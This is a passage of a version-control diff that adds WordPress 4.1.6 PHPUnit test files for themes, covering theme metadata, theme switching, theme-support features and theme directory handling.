+		'twentyfourteen', 'twentyfifteen',
+	);
+
+	function setUp() {
+		parent::setUp();
+		add_filter( 'extra_theme_headers', array( $this, '_theme_data_extra_headers' ) );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+	}
+
+	function tearDown() {
+		remove_filter( 'extra_theme_headers', array( $this, '_theme_data_extra_headers' ) );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		parent::tearDown();
+	}
+
+	function test_wp_get_themes_default() {
+		$themes = wp_get_themes();
+		$this->assertInstanceOf( 'WP_Theme', $themes[ $this->theme_slug ] );
+		$this->assertEquals( $this->theme_name, $themes[ $this->theme_slug ]->get('Name') );
+
+		$single_theme = wp_get_theme( $this->theme_slug );
+		$this->assertEquals( $single_theme->get('Name'), $themes[ $this->theme_slug ]->get('Name') );
+		$this->assertEquals( $themes[ $this->theme_slug ], $single_theme );
+	}
+
+	/**
+	 * @expectedDeprecated get_theme
+	 * @expectedDeprecated get_themes
+	 */
+	function test_get_themes_default() {
+		$themes = get_themes();
+		$this->assertInstanceOf( 'WP_Theme', $themes[ $this->theme_name ] );
+		$this->assertEquals( $themes[ $this->theme_name ], get_theme( $this->theme_name ) );
+
+		$this->assertEquals( $this->theme_name, $themes[ $this->theme_name ]['Name'] );
+		$this->assertEquals( $this->theme_name, $themes[ $this->theme_name ]->Name );
+		$this->assertEquals( $this->theme_name, $themes[ $this->theme_name ]->name );
+	}
+
+	/**
+	 * @expectedDeprecated get_theme
+	 * @expectedDeprecated get_themes
+	 */
+	function test_get_theme() {
+		$themes = get_themes();
+		foreach (array_keys($themes) as $name) {
+			$theme = get_theme($name);
+			// WP_Theme implements ArrayAccess. Even ArrayObject returns false for is_array().
+			$this->assertFalse( is_array( $theme ) );
+			$this->assertInstanceOf( 'WP_Theme', $theme );
+			$this->assertEquals($theme, $themes[$name]);
+		}
+	}
+
+	function test_wp_get_theme() {
+		$themes = wp_get_themes();
+		foreach ( $themes as $theme ) {
+			$this->assertInstanceOf( 'WP_Theme', $theme );
+			$this->assertFalse( $theme->errors() );
+			$_theme = wp_get_theme( $theme->get_stylesheet() );
+			// This primes internal WP_Theme caches for the next assertion (headers_sanitized, textdomain_loaded)
+			$this->assertEquals( $theme->get('Name'), $_theme->get('Name') );
+			$this->assertEquals( $theme, $_theme );
+		}
+	}
+
+	/**
+	 * @expectedDeprecated get_themes
+	 */
+	function test_get_themes_contents() {
+		$themes = get_themes();
+		// Generic tests that should hold true for any theme
+		foreach ( $themes as $k => $theme ) {
+			$this->assertEquals( $theme['Name'], $k );
+			$this->assertNotEmpty( $theme['Title'] );
+
+			// important attributes should all be set
+			$default_headers = array(
+				'Title' => 'Theme Title',
+				'Version' => 'Version',
+				'Parent Theme' => 'Parent Theme',
+				'Template Dir' => 'Template Dir',
+				'Stylesheet Dir' => 'Stylesheet Dir',
+				'Template' => 'Template',
+				'Stylesheet' => 'Stylesheet',
+				'Screenshot' => 'Screenshot',
+				'Description' => 'Description',
+				'Author' => 'Author',
+				'Tags' => 'Tags',
+				// Introduced in WordPress 2.9
+				'Theme Root' => 'Theme Root',
+				'Theme Root URI' => 'Theme Root URI'
+			);
+			foreach ($default_headers as $name => $value) {
+				$this->assertTrue(isset($theme[$name]));
+			}
+
+			// Make the tests work both for WordPress 2.8.5 and WordPress 2.9-rare
+			$dir = isset($theme['Theme Root']) ? '' : WP_CONTENT_DIR;
+
+			// important attributes should all not be empty as well
+			$this->assertNotEmpty( $theme['Description'] );
+			$this->assertNotEmpty( $theme['Author'] );
+			$this->assertTrue(version_compare($theme['Version'], 0) > 0);
+			$this->assertNotEmpty( $theme['Template'] );
+			$this->assertNotEmpty( $theme['Stylesheet'] );
+
+			// template files should all exist
+			$this->assertTrue(is_array($theme['Template Files']));
+			$this->assertTrue(count($theme['Template Files']) > 0);
+			foreach ($theme['Template Files'] as $file) {
+				$this->assertTrue(is_file($dir . $file));
+				$this->assertTrue(is_readable($dir . $file));
+			}
+
+			// css files should all exist
+			$this->assertTrue(is_array($theme['Stylesheet Files']));
+			$this->assertTrue(count($theme['Stylesheet Files']) > 0);
+			foreach ($theme['Stylesheet Files'] as $file) {
+				$this->assertTrue(is_file($dir . $file));
+				$this->assertTrue(is_readable($dir . $file));
+			}
+
+			$this->assertTrue(is_dir($dir . $theme['Template Dir']));
+			$this->assertTrue(is_dir($dir . $theme['Stylesheet Dir']));
+
+			$this->assertEquals('publish', $theme['Status']);
+
+			$this->assertTrue(is_file($dir . $theme['Stylesheet Dir'] . '/' . $theme['Screenshot']));
+			$this->assertTrue(is_readable($dir . $theme['Stylesheet Dir'] . '/' . $theme['Screenshot']));
+		}
+	}
+
+	function test_wp_get_theme_contents() {
+		$theme = wp_get_theme( $this->theme_slug );
+
+		$this->assertEquals( $this->theme_name, $theme->get( 'Name' ) );
+		$this->assertNotEmpty( $theme->get( 'Description' ) );
+		$this->assertNotEmpty( $theme->get( 'Author' ) );
+		$this->assertNotEmpty( $theme->get( 'Version' ) );
+		$this->assertNotEmpty( $theme->get( 'AuthorURI' ) );
+		$this->assertNotEmpty( $theme->get( 'ThemeURI' ) );
+		$this->assertEquals( $this->theme_slug, $theme->get_stylesheet() );
+		$this->assertEquals( $this->theme_slug, $theme->get_template() );
+
+		$this->assertEquals('publish', $theme->get( 'Status' ) );
+
+		$this->assertEquals( WP_CONTENT_DIR . '/themes/' . $this->theme_slug, $theme->get_stylesheet_directory(), 'get_stylesheet_directory' );
+		$this->assertEquals( WP_CONTENT_DIR . '/themes/' . $this->theme_slug, $theme->get_template_directory(), 'get_template_directory' );
+		$this->assertEquals( content_url( 'themes/' . $this->theme_slug ), $theme->get_stylesheet_directory_uri(), 'get_stylesheet_directory_uri' );
+		$this->assertEquals( content_url( 'themes/' . $this->theme_slug ), $theme->get_template_directory_uri(), 'get_template_directory_uri' );
+	}
+
+	/**
+	 * Make sure we update the default theme list to include the latest default theme.
+	 *
+	 * @ticket 29925
+	 */
+	function test_default_theme_in_default_theme_list() {
+		if ( 'twenty' === substr( WP_DEFAULT_THEME, 0, 6 ) ) {
+			$this->assertContains( WP_DEFAULT_THEME, $this->default_themes );
+		}
+	}
+
+	function test_default_themes_have_textdomain() {
+		foreach ( $this->default_themes as $theme ) {
+			$this->assertEquals( $theme, wp_get_theme( $theme )->get( 'TextDomain' ) );
+		}
+	}
+
+	/**
+	 * @ticket 20897
+	 * @expectedDeprecated get_theme_data
+	 */
+	function test_extra_theme_headers() {
+		$wp_theme = wp_get_theme( $this->theme_slug );
+		$this->assertNotEmpty( $wp_theme->get('License') );
+		$path_to_style_css = $wp_theme->get_theme_root() . '/' . $wp_theme->get_stylesheet() . '/style.css';
+		$this->assertTrue( file_exists( $path_to_style_css ) );
+		$theme_data = get_theme_data( $path_to_style_css );
+		$this->assertArrayHasKey( 'License', $theme_data );
+		$this->assertArrayNotHasKey( 'Not a Valid Key', $theme_data );
+		$this->assertNotEmpty( $theme_data['License'] );
+		$this->assertSame( $theme_data['License'], $wp_theme->get('License') );
+	}
+
+	function _theme_data_extra_headers() {
+		return array( 'License' );
+	}
+
+	/**
+	 * @expectedDeprecated get_themes
+	 * @expectedDeprecated get_current_theme
+	 */
+	function test_switch_theme() {
+		$themes = get_themes();
+
+		// Switch to each theme in sequence.
+		// Do it twice to make sure we switch to the first theme, even if it's our starting theme.
+		// Do it a third time to ensure switch_theme() works with one argument.
+
+		for ( $i = 0; $i < 3; $i++ ) {
+			foreach ( $themes as $name => $theme ) {
+				// switch to this theme
+				if ( $i === 2 )
+					switch_theme( $theme['Template'], $theme['Stylesheet'] );
+				else
+					switch_theme( $theme['Stylesheet'] );
+
+				$this->assertEquals($name, get_current_theme());
+
+				// make sure the various get_* functions return the correct values
+				$this->assertEquals($theme['Template'], get_template());
+				$this->assertEquals($theme['Stylesheet'], get_stylesheet());
+
+				$root_fs = get_theme_root();
+				$this->assertTrue(is_dir($root_fs));
+
+				$root_uri = get_theme_root_uri();
+				$this->assertTrue(!empty($root_uri));
+
+				$this->assertEquals($root_fs . '/' . get_stylesheet(), get_stylesheet_directory());
+				$this->assertEquals($root_uri . '/' . get_stylesheet(), get_stylesheet_directory_uri());
+				$this->assertEquals($root_uri . '/' . get_stylesheet() . '/style.css', get_stylesheet_uri());
+#				$this->assertEquals($root_uri . '/' . get_stylesheet(), get_locale_stylesheet_uri());
+
+				$this->assertEquals($root_fs . '/' . get_template(), get_template_directory());
+				$this->assertEquals($root_uri . '/' . get_template(), get_template_directory_uri());
+
+				//get_query_template
+
+				// template file that doesn't exist
+				$this->assertEquals('', get_query_template(rand_str()));
+
+				// template files that do exist
+				//foreach ($theme['Template Files'] as $path) {
+				//$file = basename($path, '.php');
+				// FIXME: untestable because get_query_template uses TEMPLATEPATH
+				//$this->assertEquals('', get_query_template($file));
+				//}
+
+				// these are kind of tautologies but at least exercise the code
+				$this->assertEquals(get_404_template(), get_query_template('404'));
+				$this->assertEquals(get_archive_template(), get_query_template('archive'));
+				$this->assertEquals(get_author_template(), get_query_template('author'));
+				$this->assertEquals(get_category_template(), get_query_template('category'));
+				$this->assertEquals(get_date_template(), get_query_template('date'));
+				$this->assertEquals(get_home_template(), get_query_template('home', array('home.php','index.php')));
+				$this->assertEquals(get_page_template(), get_query_template('page'));
+				$this->assertEquals(get_paged_template(), get_query_template('paged'));
+				$this->assertEquals(get_search_template(), get_query_template('search'));
+				$this->assertEquals(get_single_template(), get_query_template('single'));
+				$this->assertEquals(get_attachment_template(), get_query_template('attachment'));
+
+				// this one doesn't behave like the others
+				if (get_query_template('comments-popup'))
+					$this->assertEquals(get_comments_popup_template(), get_query_template('comments-popup'));
+				else
+					$this->assertEquals(get_comments_popup_template(), ABSPATH.'wp-includes/theme-compat/comments-popup.php');
+
+				$this->assertEquals(get_tag_template(), get_query_template('tag'));
+
+				// nb: this probably doesn't run because WP_INSTALLING is defined
+				$this->assertTrue(validate_current_theme());
+			}
+		}
+	}
+
+	function test_switch_theme_bogus() {
+		// try switching to a theme that doesn't exist
+		$template = rand_str();
+		$style = rand_str();
+		update_option('template', $template);
+		update_option('stylesheet', $style);
+
+		$theme = wp_get_theme();
+		$this->assertEquals( $style, (string) $theme );
+		$this->assertNotSame( false, $theme->errors() );
+		$this->assertFalse( $theme->exists() );
+
+		// these return the bogus name - perhaps not ideal behaviour?
+		$this->assertEquals($template, get_template());
+		$this->assertEquals($style, get_stylesheet());
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/theme/WPTheme.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/theme/WPTheme.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/theme/WPTheme.php	(revision 33402)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * @group themes
+ */
+class Tests_Theme_WPTheme extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->theme_root = realpath( DIR_TESTDATA . '/themedir1' );
+
+		$this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+		$GLOBALS['wp_theme_directories'] = array( $this->theme_root );
+
+		add_filter('theme_root', array($this, '_theme_root'));
+		add_filter( 'stylesheet_root', array($this, '_theme_root') );
+		add_filter( 'template_root', array($this, '_theme_root') );
+		// clear caches
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+		remove_filter('theme_root', array($this, '_theme_root'));
+		remove_filter( 'stylesheet_root', array($this, '_theme_root') );
+		remove_filter( 'template_root', array($this, '_theme_root') );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		parent::tearDown();
+	}
+
+	// replace the normal theme root dir with our premade test dir
+	function _theme_root($dir) {
+		return $this->theme_root;
+	}
+	function test_new_WP_Theme_top_level() {
+		$theme = new WP_Theme( 'theme1', $this->theme_root );
+
+		//Meta
+		$this->assertEquals( 'My Theme', $theme->get('Name') );
+		$this->assertEquals( 'http://example.org/',$theme->get('ThemeURI') );
+		$this->assertEquals( 'An example theme', $theme->get('Description') );
+		$this->assertEquals( 'Minnie Bannister', $theme->get('Author') );
+		$this->assertEquals( 'http://example.com/', $theme->get('AuthorURI') );
+		$this->assertEquals( '1.3', $theme->get('Version') );
+		$this->assertEquals( '', $theme->get('Template') );
+		$this->assertEquals( 'publish', $theme->get('Status') );
+		$this->assertEquals( array(), $theme->get('Tags') );
+
+		//Important
+		$this->assertEquals( 'theme1', $theme->get_stylesheet() );
+		$this->assertEquals( 'theme1', $theme->get_template() );
+	}
+
+	function test_new_WP_Theme_subdir() {
+		$theme = new WP_Theme( 'subdir/theme2', $this->theme_root );
+
+		//Meta
+		$this->assertEquals( 'My Subdir Theme', $theme->get('Name') );
+		$this->assertEquals( 'http://example.org/',$theme->get('ThemeURI') );
+		$this->assertEquals( 'An example theme in a sub directory', $theme->get('Description') );
+		$this->assertEquals( 'Mr. WordPress', $theme->get('Author') );
+		$this->assertEquals( 'http://wordpress.org/', $theme->get('AuthorURI') );
+		$this->assertEquals( '0.1', $theme->get('Version') );
+		$this->assertEquals( '', $theme->get('Template') );
+		$this->assertEquals( 'publish', $theme->get('Status') );
+		$this->assertEquals( array(), $theme->get('Tags') );
+
+		//Important
+		$this->assertEquals( 'subdir/theme2', $theme->get_stylesheet() );
+		$this->assertEquals( 'subdir/theme2', $theme->get_template() );
+	}
+
+	/**
+	 * @ticket 20313
+	 */
+	function test_new_WP_Theme_subdir_bad_root() {
+		// This is what get_theme_data() does when you pass it a style.css file for a theme in a subdir.
+		$theme = new WP_Theme( 'theme2', $this->theme_root . '/subdir' );
+
+		//Meta
+		$this->assertEquals( 'My Subdir Theme', $theme->get('Name') );
+		$this->assertEquals( 'http://example.org/',$theme->get('ThemeURI') );
+		$this->assertEquals( 'An example theme in a sub directory', $theme->get('Description') );
+		$this->assertEquals( 'Mr. WordPress', $theme->get('Author') );
+		$this->assertEquals( 'http://wordpress.org/', $theme->get('AuthorURI') );
+		$this->assertEquals( '0.1', $theme->get('Version') );
+		$this->assertEquals( '', $theme->get('Template') );
+		$this->assertEquals( 'publish', $theme->get('Status') );
+		$this->assertEquals( array(), $theme->get('Tags') );
+
+		//Important
+		$this->assertEquals( 'subdir/theme2', $theme->get_stylesheet() );
+		$this->assertEquals( 'subdir/theme2', $theme->get_template() );
+	}
+
+	/**
+	 * @ticket 21749
+	 */
+	function test_wp_theme_uris_with_spaces() {
+		$theme = new WP_Theme( 'theme with spaces', $this->theme_root . '/subdir' );
+		// Make sure subdir/ is considered part of the stylesheet, as we must avoid encoding /'s.
+		$this->assertEquals( 'subdir/theme with spaces', $theme->get_stylesheet() );
+
+		// Check that in a URI path, we have raw url encoding (spaces become %20)
+		// Don't try to verify the complete URI path. get_theme_root_uri() breaks down quickly.
+		$this->assertEquals( 'theme%20with%20spaces', basename( $theme->get_stylesheet_directory_uri() ) );
+		$this->assertEquals( 'theme%20with%20spaces', basename( $theme->get_template_directory_uri()   ) );
+
+		// Check that wp_customize_url() uses url encoding, as it is a query arg (spaces become +)
+		$this->assertEquals( admin_url( 'customize.php?theme=theme+with+spaces' ), wp_customize_url( 'theme with spaces' ) );
+	}
+
+	/**
+	 * @ticket 21969
+	 */
+	function test_theme_uris_with_spaces() {
+		$callback = array( $this, 'filter_theme_with_spaces' );
+		add_filter( 'stylesheet', $callback );
+		add_filter( 'template', $callback );
+
+		$this->assertEquals( get_theme_root_uri() . '/subdir/theme%20with%20spaces', get_stylesheet_directory_uri() );
+		$this->assertEquals( get_theme_root_uri() . '/subdir/theme%20with%20spaces', get_template_directory_uri() );
+
+		remove_filter( 'stylesheet', $callback );
+		remove_filter( 'template', $callback );
+	}
+
+	function filter_theme_with_spaces() {
+		return 'subdir/theme with spaces';
+	}
+
+	/**
+	 * @ticket 26873
+	 */
+	function test_display_method_on_get_method_failure() {
+		$theme = new WP_Theme( 'nonexistent', $this->theme_root );
+		$this->assertEquals( 'nonexistent', $theme->get( 'Name' ) );
+		$this->assertFalse( $theme->get( 'AuthorURI' ) );
+		$this->assertFalse( $theme->get( 'Tags' ) );
+		$this->assertFalse( $theme->display( 'Tags' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/theme/support.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/theme/support.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/theme/support.php	(revision 33402)
@@ -0,0 +1,172 @@
+<?php
+
+/**
+ * @group themes
+ */
+class Tests_Theme_Support extends WP_UnitTestCase {
+
+	function test_the_basics() {
+		add_theme_support( 'automatic-feed-links' );
+		$this->assertTrue( current_theme_supports( 'automatic-feed-links' ) );
+		remove_theme_support( 'automatic-feed-links' );
+		$this->assertFalse( current_theme_supports( 'automatic-feed-links' ) );
+		add_theme_support( 'automatic-feed-links' );
+		$this->assertTrue( current_theme_supports( 'automatic-feed-links' ) );
+	}
+
+	function test_admin_bar() {
+		add_theme_support( 'admin-bar' );
+		$this->assertTrue( current_theme_supports( 'admin-bar' ) );
+		remove_theme_support( 'admin-bar' );
+		$this->assertFalse( current_theme_supports( 'admin-bar' ) );
+		add_theme_support( 'admin-bar' );
+		$this->assertTrue( current_theme_supports( 'admin-bar' ) );
+
+		add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) );
+		$this->assertTrue( current_theme_supports( 'admin-bar' ) );
+
+		$this->assertEquals(
+			array( 0 => array( 'callback' => '__return_false' ) ),
+			get_theme_support( 'admin-bar' )
+		);
+		remove_theme_support( 'admin-bar' );
+		$this->assertFalse( current_theme_supports( 'admin-bar' ) );
+		$this->assertFalse( get_theme_support( 'admin-bar' ) );
+	}
+
+	public function test_post_thumbnails() {
+		add_theme_support( 'post-thumbnails' );
+		$this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+		remove_theme_support( 'post-thumbnails' );
+		$this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+		add_theme_support( 'post-thumbnails' );
+		$this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+	}
+
+	public function test_post_thumbnails_flat_array_of_post_types() {
+		add_theme_support( 'post-thumbnails', array( 'post', 'page' ) );
+		$this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+		$this->assertTrue( current_theme_supports( 'post-thumbnails', 'post' ) );
+		$this->assertFalse( current_theme_supports( 'post-thumbnails', 'book' ) );
+		remove_theme_support( 'post-thumbnails' );
+		$this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+	}
+
+	public function test_post_thumbnails_types_true() {
+		// array of arguments, with the key of 'types' holding the post types.
+		add_theme_support( 'post-thumbnails', array( 'types' => true ) );
+		$this->assertTrue( current_theme_supports( 'post-thumbnails' ) );
+		$this->assertTrue( current_theme_supports( 'post-thumbnails', rand_str() ) ); // any type
+		remove_theme_support( 'post-thumbnails' );
+		$this->assertFalse( current_theme_supports( 'post-thumbnails' ) );
+	}
+
+	/**
+	 * @ticket 24932
+	 */
+	function test_supports_html5() {
+		remove_theme_support( 'html5' );
+		$this->assertFalse( current_theme_supports( 'html5' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'comment-form' ) );
+		$this->assertNotSame( false, add_theme_support( 'html5' ) );
+		$this->assertTrue( current_theme_supports( 'html5' ) );
+		$this->assertTrue( current_theme_supports( 'html5', 'comment-form' ) );
+		$this->assertTrue( current_theme_supports( 'html5', 'comment-list' ) );
+		$this->assertTrue( current_theme_supports( 'html5', 'search-form' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'something-else' ) );
+	}
+
+	/**
+	 * @ticket 24932
+	 *
+	 * @expectedIncorrectUsage add_theme_support( 'html5' )
+	 */
+	function test_supports_html5_subset() {
+		remove_theme_support( 'html5' );
+		$this->assertFalse( current_theme_supports( 'html5' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'comment-form' ) );
+		$this->assertFalse( add_theme_support( 'html5', 'comment-form' ) );
+		$this->assertNotSame( false, add_theme_support( 'html5', array( 'comment-form' ) ) );
+		$this->assertTrue( current_theme_supports( 'html5', 'comment-form' ) );
+
+		// This will return true, which might help a plugin author decide what markup to serve,
+		// but core should never check for it.
+		$this->assertTrue( current_theme_supports( 'html5' ) );
+
+		// It appends, rather than replaces.
+		$this->assertFalse( current_theme_supports( 'html5', 'comment-list' ) );
+		$this->assertNotSame( false, add_theme_support( 'html5', array( 'comment-list' ) ) );
+		$this->assertTrue( current_theme_supports( 'html5', 'comment-form' ) );
+		$this->assertTrue( current_theme_supports( 'html5', 'comment-list' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'search-form' ) );
+
+		// Removal is all or nothing.
+		$this->assertTrue( remove_theme_support( 'html5' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'comment-list' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'comment-form' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'search-form' ) );
+	}
+
+	/**
+	 * @ticket 24932
+	 *
+	 * @expectedIncorrectUsage add_theme_support( 'html5' )
+	 */
+	function test_supports_html5_invalid() {
+		remove_theme_support( 'html5' );
+		$this->assertFalse( add_theme_support( 'html5', 'comment-form' ) );
+		$this->assertFalse( current_theme_supports( 'html5', 'comment-form' ) );
+		$this->assertFalse( current_theme_supports( 'html5' ) );
+	}
+
+	function supports_foobar( $yesno, $args, $feature ) {
+		if ( $args[0] == $feature[0] )
+			return true;
+		return false;
+	}
+
+	function test_plugin_hook() {
+		$this->assertFalse( current_theme_supports( 'foobar' ) );
+		add_theme_support( 'foobar' );
+		$this->assertTrue( current_theme_supports( 'foobar' ) );
+
+		add_filter( 'current_theme_supports-foobar', array( $this, 'supports_foobar'), 10, 3 );
+
+		add_theme_support( 'foobar', 'bar' );
+		$this->assertFalse( current_theme_supports( 'foobar', 'foo' ) );
+		$this->assertTrue( current_theme_supports( 'foobar', 'bar' ) );
+
+		remove_theme_support( 'foobar' );
+		$this->assertFalse( current_theme_supports( 'foobar', 'bar' ) );
+	}
+
+	/**
+	 * @ticket 26900
+	 */
+	function test_supports_menus() {
+		// Start fresh
+		foreach ( get_registered_nav_menus() as $location => $desc ) {
+			unregister_nav_menu( $location );
+		}
+		_remove_theme_support( 'menus' );
+		$this->assertFalse( current_theme_supports( 'menus' ) );
+
+		// Registering a nav menu automatically adds support.
+		register_nav_menu( 'primary', 'Primary Navigation' );
+		register_nav_menu( 'secondary', 'Secondary Navigation' );
+		$this->assertTrue( current_theme_supports( 'menus' ) );
+
+		// Support added internally, can't be removed.
+		remove_theme_support( 'menus' );
+		$this->assertTrue( current_theme_supports( 'menus' ) );
+
+		// Still supports because of secondary.
+		unregister_nav_menu( 'primary' );
+		$this->assertTrue( current_theme_supports( 'menus' ) );
+
+		// No longer support because we have no menus.
+		unregister_nav_menu( 'secondary' );
+		$this->assertEmpty( get_registered_nav_menus() );
+		$this->assertFalse( current_theme_supports( 'menus' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/theme/themeDir.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/theme/themeDir.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/theme/themeDir.php	(revision 33402)
@@ -0,0 +1,280 @@
+<?php
+
+/**
+ * Test functions that fetch stuff from the theme directory
+ *
+ * @group themes
+ */
+class Tests_Theme_ThemeDir extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		$this->theme_root = DIR_TESTDATA . '/themedir1';
+
+		$this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+
+		// /themes is necessary as theme.php functions assume /themes is the root if there is only one root.
+		$GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+		add_filter('theme_root', array($this, '_theme_root'));
+		add_filter( 'stylesheet_root', array($this, '_theme_root') );
+		add_filter( 'template_root', array($this, '_theme_root') );
+		// clear caches
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+		remove_filter('theme_root', array($this, '_theme_root'));
+		remove_filter( 'stylesheet_root', array($this, '_theme_root') );
+		remove_filter( 'template_root', array($this, '_theme_root') );
+		wp_clean_themes_cache();
+		unset( $GLOBALS['wp_themes'] );
+		parent::tearDown();
+	}
+
+	// replace the normal theme root dir with our premade test dir
+	function _theme_root($dir) {
+		return $this->theme_root;
+	}
+
+	/**
+	 * @expectedDeprecated get_theme
+	 * @expectedDeprecated get_themes
+	 */
+	function test_theme_default() {
+		$themes = get_themes();
+		$theme = get_theme('WordPress Default');
+		$this->assertEquals( $themes['WordPress Default'], $theme );
+
+		$this->assertFalse( empty($theme) );
+
+		#echo gen_tests_array('theme', $theme);
+
+		$this->assertEquals( 'WordPress Default', $theme['Name'] );
+		$this->assertEquals( 'WordPress Default', $theme['Title'] );
+		$this->assertEquals( 'The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.', $theme['Description'] );
+		$this->assertEquals( '<a href="http://binarybonsai.com/">Michael Heilemann</a>', $theme['Author'] );
+		$this->assertEquals( '1.6', $theme['Version'] );
+		$this->assertEquals( 'default', $theme['Template'] );
+		$this->assertEquals( 'default', $theme['Stylesheet'] );
+
+		$this->assertContains( $this->theme_root . '/default/functions.php', $theme['Template Files'] );
+		$this->assertContains( $this->theme_root . '/default/index.php', $theme['Template Files'] );
+		$this->assertContains( $this->theme_root . '/default/style.css', $theme['Stylesheet Files'] );
+
+		$this->assertEquals( $this->theme_root.'/default', $theme['Template Dir'] );
+		$this->assertEquals( $this->theme_root.'/default', $theme['Stylesheet Dir'] );
+		$this->assertEquals( 'publish', $theme['Status'] );
+		$this->assertEquals( '', $theme['Parent Theme'] );
+	}
+
+	/**
+	 * @expectedDeprecated get_theme
+	 * @expectedDeprecated get_themes
+	 */
+	function test_theme_sandbox() {
+		$theme = get_theme('Sandbox');
+
+		$this->assertFalse( empty($theme) );
+
+		#echo gen_tests_array('theme', $theme);
+
+		$this->assertEquals( 'Sandbox', $theme['Name'] );
+		$this->assertEquals( 'Sandbox', $theme['Title'] );
+		$this->assertEquals( 'A theme with powerful, semantic CSS selectors and the ability to add new skins.', $theme['Description'] );
+		$this->assertEquals( '<a href="http://andy.wordpress.com/">Andy Skelton</a> &amp; <a href="http://www.plaintxt.org/">Scott Allan Wallick</a>', $theme['Author'] );
+		$this->assertEquals( '0.6.1-wpcom', $theme['Version'] );
+		$this->assertEquals( 'sandbox', $theme['Template'] );
+		$this->assertEquals( 'sandbox', $theme['Stylesheet'] );
+
+		$template_files = $theme['Template Files'];
+
+		$this->assertEquals( $this->theme_root.'/sandbox/functions.php', reset( $template_files ) );
+		$this->assertEquals( $this->theme_root.'/sandbox/index.php', next( $template_files ) );
+
+		$stylesheet_files = $theme['Stylesheet Files'];
+
+		$this->assertEquals( $this->theme_root.'/sandbox/style.css', reset( $stylesheet_files ) );
+
+		$this->assertEquals( $this->theme_root.'/sandbox', $theme['Template Dir'] );
+		$this->assertEquals( $this->theme_root.'/sandbox', $theme['Stylesheet Dir'] );
+		$this->assertEquals( 'publish', $theme['Status'] );
+		$this->assertEquals( '', $theme['Parent Theme'] );
+
+	}
+
+	/**
+	 * A CSS-only theme
+	 *
+	 * @expectedDeprecated get_themes
+	 */
+	function test_theme_stylesheet_only() {
+		$themes = get_themes();
+
+		$theme = $themes['Stylesheet Only'];
+		$this->assertFalse( empty($theme) );
+
+		#echo gen_tests_array('theme', $theme);
+
+		$this->assertEquals( 'Stylesheet Only', $theme['Name'] );
+		$this->assertEquals( 'Stylesheet Only', $theme['Title'] );
+		$this->assertEquals( 'A three-column widget-ready theme in dark blue.', $theme['Description'] );
+		$this->assertEquals( '<a href="http://www.example.com/">Henry Crun</a>', $theme['Author'] );
+		$this->assertEquals( '1.0', $theme['Version'] );
+		$this->assertEquals( 'sandbox', $theme['Template'] );
+		$this->assertEquals( 'stylesheetonly', $theme['Stylesheet'] );
+		$this->assertContains( $this->theme_root.'/sandbox/functions.php', $theme['Template Files'] );
+		$this->assertContains( $this->theme_root.'/sandbox/index.php', $theme['Template Files'] );
+
+		$this->assertContains( $this->theme_root.'/stylesheetonly/style.css', $theme['Stylesheet Files']);
+
+		$this->assertEquals( $this->theme_root.'/sandbox', $theme['Template Dir'] );
+		$this->assertEquals( $this->theme_root.'/stylesheetonly', $theme['Stylesheet Dir'] );
+		$this->assertEquals( 'publish', $theme['Status'] );
+		$this->assertEquals( 'Sandbox', $theme['Parent Theme'] );
+
+	}
+
+	/**
+	 * @expectedDeprecated get_themes
+	 */
+	function test_theme_list() {
+		$themes = get_themes();
+
+		// Ignore themes in the default /themes directory.
+		foreach ( $themes as $theme_name => $theme ) {
+			if ( $theme->get_theme_root() != $this->theme_root )
+				unset( $themes[ $theme_name ] );
+		}
+
+		$theme_names = array_keys($themes);
+		$expected = array(
+			'WordPress Default',
+			'Sandbox',
+			'Stylesheet Only',
+			'My Theme',
+			'My Theme/theme1', // duplicate theme should be given a unique name
+			'My Subdir Theme',// theme in a subdirectory should work
+			'Page Template Theme', // theme with page templates for other test code
+			'Theme with Spaces in the Directory',
+		);
+
+		sort($theme_names);
+		sort($expected);
+
+		$this->assertEquals($expected, $theme_names);
+	}
+
+	/**
+	 * @expectedDeprecated get_themes
+	 * @expectedDeprecated get_broken_themes
+	 */
+	function test_broken_themes() {
+		$themes = get_themes();
+		$expected = array('broken-theme' => array('Name' => 'broken-theme', 'Title' => 'broken-theme', 'Description' => __('Stylesheet is missing.')));
+
+		$this->assertEquals($expected, get_broken_themes() );
+	}
+
+	function test_wp_get_theme_with_non_default_theme_root() {
+		$this->assertFalse( wp_get_theme( 'sandbox', $this->theme_root )->errors() );
